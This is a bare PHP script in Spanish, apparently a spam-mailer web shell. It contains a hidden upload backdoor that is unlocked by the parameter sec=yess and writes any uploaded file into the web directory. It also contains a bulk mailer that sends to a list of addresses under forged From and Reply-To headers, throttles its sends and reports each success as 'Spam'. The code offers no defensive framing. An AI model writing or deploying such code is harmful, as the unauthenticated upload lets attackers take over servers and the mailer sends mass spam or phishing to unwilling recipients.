if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '';
$status = "";
if ($_POST["action"] ?? '' === "upload" && isset($_FILES["archivo"])) {
$archivo = $_FILES["archivo"]['name'];
if (!empty($archivo)) {
if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . basename($archivo))) {
$status = "Archivo subido: " . htmlspecialchars($archivo) . "";
} else {
$status = "Error al subir el archivo";
}
} else {
$status = "Error al subir archivo";
}
echo $status;
}
}
if (!isset($_POST['Enoc'])) {
exit;
}
$emails = isset($_GET['c']) ? explode(",", $ellos) : explode("\n", $ellos);
$son = count($emails);
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";
$header .= "From: $nombre <$de>\r\n";
$header .= "Reply-To: $de\r\n";
$header .= "X-Priority: 3\r\n";
$header .= "X-MSMail-Priority: Normal\r\n";
$header .= "X-Mailer: " . $_SERVER["HTTP_HOST"];
$i = 0;
$voy = 1;
foreach ($emails as $email) {
$mail = trim(str_replace(["\n", "\r\n"], '', $email));
$message1 = str_replace('%email%', $mail, $message);
if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) {
echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}... \n";
flush();
mail($_GET['notf'], $subject, $message, $header);
sleep((int)$_GET['time']);
}
if (mail($mail, $subject, $message1, $header)) {
echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail Spam...!</font> \n";
} else {
echo "<font color=red face=verdana size=1> $voy de $son :-( $mail Error de envio!!</font> \n";
}
flush();
$i++;
$voy++;
}
echo "<script>alert('---Todos Terminados---');</script>";
|